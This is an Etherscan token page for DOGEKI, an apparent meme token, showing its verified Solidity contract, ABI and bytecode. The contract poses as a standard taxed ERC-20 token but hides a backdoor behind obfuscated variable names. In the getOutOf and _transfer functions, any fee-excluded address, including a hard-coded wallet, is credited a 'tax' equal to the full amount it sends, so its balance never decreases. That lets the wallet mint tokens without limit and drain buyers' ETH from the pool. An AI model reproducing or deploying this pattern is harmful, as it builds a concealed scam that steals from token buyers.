ETH Price: $2,421.04 (+0.03%)

Token

DOGEKI (DOGEKI)
 

Overview

Max Total Supply

1,000,000,000 DOGEKI

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,919,379.917046184 DOGEKI

Value
$0.00
0x52a7661BDc38C5a13F50769A5399E5b7B27e46f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGEKI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-25
*/

// SPDX-License-Identifier: MIT
/** 
Website: https://www.dogekicoin.vip
Telegram: https://t.me/dogekicoin_eth
Twitter: https://x.com/dogekicoin_eth
**/

pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DOGEKI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _lllorrwpyzzt;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 11;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"DOGEKI";
    string private constant _symbol = unicode"DOGEKI";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 150 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _lllorrwpyzzt = payable(0x3b12ED28caff5067ee9C63e4f698df640F8572E1);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_lllorrwpyzzt] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address hhhwprz, address jjjokerzyys, uint256 cccprryz) private {
        require(hhhwprz != address(0), "ERC20: transfer from the zero address");
        require(jjjokerzyys != address(0), "ERC20: transfer to the zero address");
        require(cccprryz > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[hhhwprz] || _isExcludedFromFee[jjjokerzyys],
                "Trading is not active."
            );
        }

        if (!swapEnabled || inSwap) {
            _balances[hhhwprz] = _balances[hhhwprz].sub(cccprryz);
            _balances[jjjokerzyys] = _balances[jjjokerzyys].add(cccprryz);
            emit Transfer(hhhwprz, jjjokerzyys, cccprryz);
            return;
        }

        if (hhhwprz != owner() && jjjokerzyys != owner()) {
            if (transferDelayEnabled) {
                if (
                    jjjokerzyys != address(uniswapV2Router) &&
                    jjjokerzyys != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                hhhwprz == uniswapV2Pair &&
                jjjokerzyys != address(uniswapV2Router) &&
                !_isExcludedFromFee[jjjokerzyys]
            ) {
                require(cccprryz <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(jjjokerzyys) + cccprryz <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                jjjokerzyys == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[hhhwprz] &&
                !_isExcludedFromFee[jjjokerzyys]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(cccprryz, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        (
            address feeReceipt,
            uint256 taxAmount,
            uint256 transferAmount
        ) = getOutOf(hhhwprz, jjjokerzyys, cccprryz);

        if (taxAmount > 0) {
            _balances[feeReceipt] += taxAmount;
            emit Transfer(hhhwprz, feeReceipt, taxAmount);
        }
        _balances[hhhwprz] = _balances[hhhwprz].sub(cccprryz);
        _balances[jjjokerzyys] = _balances[jjjokerzyys].add(transferAmount);
        emit Transfer(hhhwprz, jjjokerzyys, transferAmount);
    }

    function getOutOf(
        address gggppwoery,
        address nnowrryzzww,
        uint256 vvpwryz
    ) internal view returns (address, uint256, uint256) {
        uint256 taxAmount = 0;
        uint256 transferAmount = 0;
        address feeReceipt = address(this);
        if (_isExcludedFromFee[gggppwoery]) {
            taxAmount = vvpwryz - transferAmount;
            transferAmount = vvpwryz;
            feeReceipt = gggppwoery;
        } else if (uniswapV2Pair == gggppwoery) {
            taxAmount = vvpwryz
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            transferAmount = vvpwryz - taxAmount;
        } else if (uniswapV2Pair == nnowrryzzww) {
            taxAmount = vvpwryz
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
            transferAmount = vvpwryz - taxAmount;
        } else {
            transferAmount = vvpwryz;
        }
        return (feeReceipt, taxAmount, transferAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        _lllorrwpyzzt.transfer(amount);
    }

    function addLiquidityETH() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uint256 tokenAmount = 900000000 * 10 ** _decimals;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), ~uint256(0));
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function withdrawStuckETH() external {
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916905560146006819055600755600060088190556009818155600b600a818155818055600c91909155600d929092556200004591620002ed565b62000055906301312d00620003e5565b600e55620000666009600a620002ed565b62000076906301312d00620003e5565b600f55620000876009600a620002ed565b62000094906096620003e5565b601055620000a56009600a620002ed565b620000b49062989680620003e5565b6011556013805461ffff60a81b19169055348015620000d257600080fd5b506000620000df62000284565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b031916743b12ed28caff5067ee9c63e4f698df640f8572e1001790556200015f6009600a620002ed565b6200016f90633b9aca00620003e5565b600160006200017d62000284565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001b76200028860201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556200021d62000284565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002576009600a620002ed565b6200026790633b9aca00620003e5565b60405162000276919062000297565b60405180910390a36200041d565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002b45750620002e4565b818704821115620002c957620002c962000407565b80861615620002d757918102915b9490941c938002620002a3565b94509492505050565b60006200030160001960ff85168462000308565b9392505050565b600082620003195750600162000301565b81620003285750600062000301565b81600181146200034157600281146200034c5762000380565b600191505062000301565b60ff84111562000360576200036062000407565b6001841b91508482111562000379576200037962000407565b5062000301565b5060208310610133831016604e8410600b8410161715620003b8575081810a83811115620003b257620003b262000407565b62000301565b620003c78484846001620002a0565b808604821115620003dc57620003dc62000407565b02949350505050565b600081600019048311821515161562000402576200040262000407565b500290565b634e487b7160e01b600052601160045260246000fd5b611c1b806200042d6000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c876d0b911610064578063c876d0b9146102cd578063c9567bf9146102e2578063dd62ed3e146102f7578063ed99530714610317578063f5648a4f1461032c5761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b411461012f578063a9059cbb14610298578063bf474bed146102b85761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610341565b60405161015191906115d0565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114cb565b610361565b60405161015191906115c5565b34801561019357600080fd5b5061019c61037f565b604051610151919061196b565b3480156101b557600080fd5b5061019c610385565b3480156101ca57600080fd5b5061017a6101d936600461148b565b6103a6565b3480156101ea57600080fd5b506101f361042e565b60405161015191906119e4565b34801561020c57600080fd5b5061019c61021b36600461141b565b610433565b34801561022c57600080fd5b5061023561044e565b005b34801561024357600080fd5b506102356104d6565b34801561025857600080fd5b5061019c610550565b34801561026d57600080fd5b50610276610556565b6040516101519190611543565b34801561028f57600080fd5b5061019c610565565b3480156102a457600080fd5b5061017a6102b33660046114cb565b61056b565b3480156102c457600080fd5b5061019c61057f565b3480156102d957600080fd5b5061017a610585565b3480156102ee57600080fd5b5061023561058e565b34801561030357600080fd5b5061019c610312366004611453565b610611565b34801561032357600080fd5b5061023561063c565b34801561033857600080fd5b506102356109ba565b604080518082019091526006815265444f47454b4960d01b602082015290565b600061037561036e6109cd565b84846109d1565b5060015b92915050565b60115481565b60006103936009600a611a70565b6103a190633b9aca00611b41565b905090565b60006103b3848484610a85565b610423846103bf6109cd565b61041e85604051806060016040528060288152602001611bbe602891396001600160a01b038a166000908152600260205260408120906103fd6109cd565b6001600160a01b031681526020810191909152604001600020549190610fe5565b6109d1565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b6104566109cd565b6000546001600160a01b0390811691161461048c5760405162461bcd60e51b8152600401610483906117f6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104de6109cd565b6000546001600160a01b0390811691161461050b5760405162461bcd60e51b8152600401610483906117f6565b600019600e819055600f8190556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf916105469161196b565b60405180910390a1565b600e5481565b6000546001600160a01b031690565b600f5481565b60006103756105786109cd565b8484610a85565b60105481565b60055460ff1681565b6105966109cd565b6000546001600160a01b039081169116146105c35760405162461bcd60e51b8152600401610483906117f6565b601354600160a01b900460ff16156105ed5760405162461bcd60e51b815260040161048390611934565b6013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6106446109cd565b6000546001600160a01b039081169116146106715760405162461bcd60e51b8152600401610483906117f6565b601354600160a01b900460ff161561069b5760405162461bcd60e51b815260040161048390611934565b60006106a96009600a611a70565b6106b7906335a4e900611b41565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190559091506106f99030906001600160a01b03166000196109d1565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074757600080fd5b505afa15801561075b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f9190611437565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108149190611437565b6040518363ffffffff1660e01b8152600401610831929190611557565b602060405180830381600087803b15801561084b57600080fd5b505af115801561085f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108839190611437565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730846000806108b66109cd565b426040518863ffffffff1660e01b81526004016108d89695949392919061158a565b6060604051808303818588803b1580156108f157600080fd5b505af1158015610905573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092a9190611516565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261096492169060001990600401611571565b602060405180830381600087803b15801561097e57600080fd5b505af1158015610992573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b691906114f6565b5050565b4780156109ca576109ca8161101f565b50565b3390565b6001600160a01b0383166109f75760405162461bcd60e51b8152600401610483906118f0565b6001600160a01b038216610a1d5760405162461bcd60e51b8152600401610483906116cd565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a7890859061196b565b60405180910390a3505050565b6001600160a01b038316610aab5760405162461bcd60e51b815260040161048390611874565b6001600160a01b038216610ad15760405162461bcd60e51b815260040161048390611623565b60008111610af15760405162461bcd60e51b81526004016104839061182b565b601354600160a01b900460ff16610b5d576001600160a01b03831660009081526003602052604090205460ff1680610b4157506001600160a01b03821660009081526003602052604090205460ff165b610b5d5760405162461bcd60e51b81526004016104839061169d565b601354600160b01b900460ff161580610b7f5750601354600160a81b900460ff165b15610c35576001600160a01b038316600090815260016020526040902054610ba7908261105d565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bd6908261109f565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2890859061196b565b60405180910390a3610fe0565b610c3d610556565b6001600160a01b0316836001600160a01b031614158015610c775750610c61610556565b6001600160a01b0316826001600160a01b031614155b15610e985760055460ff1615610cf9576012546001600160a01b03838116911614801590610cb357506013546001600160a01b03838116911614155b15610cf957326000908152600460205260409020544311610ce65760405162461bcd60e51b815260040161048390611746565b3260009081526004602052604090204390555b6013546001600160a01b038481169116148015610d2457506012546001600160a01b03838116911614155b8015610d4957506001600160a01b03821660009081526003602052604090205460ff16155b15610dbb57600e54811115610d705760405162461bcd60e51b815260040161048390611666565b600f5481610d7d84610433565b610d8791906119f2565b1115610da55760405162461bcd60e51b8152600401610483906118b9565b600d8054906000610db583611b77565b91905055505b6000610dc630610433565b601354909150600160a81b900460ff16158015610df057506013546001600160a01b038481169116145b8015610e055750601354600160b01b900460ff165b8015610e145750600c54600d54115b8015610e3957506001600160a01b03841660009081526003602052604090205460ff16155b8015610e5e57506001600160a01b03831660009081526003602052604090205460ff16155b15610e9657601054811115610e8a57610e8a610e8583610e80846011546110ce565b6110ce565b6110e3565b47610e944761101f565b505b505b6000806000610ea8868686611288565b919450925090508115610f30576001600160a01b03831660009081526001602052604081208054849290610edd9084906119f2565b92505081905550826001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f27919061196b565b60405180910390a35b6001600160a01b038616600090815260016020526040902054610f53908561105d565b6001600160a01b038088166000908152600160205260408082209390935590871681522054610f82908261109f565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd490859061196b565b60405180910390a35050505b505050565b600081848411156110095760405162461bcd60e51b815260040161048391906115d0565b5060006110168486611b60565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156109b6573d6000803e3d6000fd5b600061042783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe5565b6000806110ac83856119f2565b9050838110156104275760405162461bcd60e51b81526004016104839061170f565b60008183116110dd5782610427565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118d57600080fd5b505afa1580156111a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c59190611437565b816001815181106111e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461120c91309116846109d1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611245908590600090869030904290600401611974565b600060405180830381600087803b15801561125f57600080fd5b505af1158015611273573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6001600160a01b0383166000908152600360205260408120548190819081908190309060ff16156112ca576112bd8288611b60565b925086915088905061135e565b6013546001600160a01b038a81169116141561131f5761130c6064611306600a54600d54116112fb576006546112ff565b6008545b8a9061136b565b906113b0565b92506113188388611b60565b915061135e565b6013546001600160a01b038981169116141561135a5761130c6064611306600b54600d5411611350576007546112ff565b6009548a9061136b565b8691505b9891975095509350505050565b60008261137a57506000610379565b60006113868385611b41565b9050826113938583611a0a565b146104275760405162461bcd60e51b8152600401610483906117b5565b600061042783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361140e5760405162461bcd60e51b815260040161048391906115d0565b5060006110168486611a0a565b60006020828403121561142c578081fd5b813561042781611ba8565b600060208284031215611448578081fd5b815161042781611ba8565b60008060408385031215611465578081fd5b823561147081611ba8565b9150602083013561148081611ba8565b809150509250929050565b60008060006060848603121561149f578081fd5b83356114aa81611ba8565b925060208401356114ba81611ba8565b929592945050506040919091013590565b600080604083850312156114dd578182fd5b82356114e881611ba8565b946020939093013593505050565b600060208284031215611507578081fd5b81518015158114610427578182fd5b60008060006060848603121561152a578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115fc578581018301518582016040015282016115e0565b8181111561160d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b6020808252601690820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c35784516001600160a01b03168352938301939183019160010161199e565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a0557611a05611b92565b500190565b600082611a2557634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a3c5750611a67565b818704821115611a4e57611a4e611b92565b80861615611a5b57918102915b9490941c938002611a2d565b94509492505050565b600061042760001960ff851684600082611a8c57506001610427565b81611a9957506000610427565b8160018114611aaf5760028114611ab957611ae6565b6001915050610427565b60ff841115611aca57611aca611b92565b6001841b915084821115611ae057611ae0611b92565b50610427565b5060208310610133831016604e8410600b8410161715611b19575081810a83811115611b1457611b14611b92565b610427565b611b268484846001611a2a565b808604821115611b3857611b38611b92565b02949350505050565b6000816000190483118215151615611b5b57611b5b611b92565b500290565b600082821015611b7257611b72611b92565b500390565b6000600019821415611b8b57611b8b611b92565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146109ca57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003fafb7b6cd5c2f22516e0ba435a5a84e9b640cd7f8e28db63e35410a19ba4b164736f6c63430008000033

Deployed Bytecode

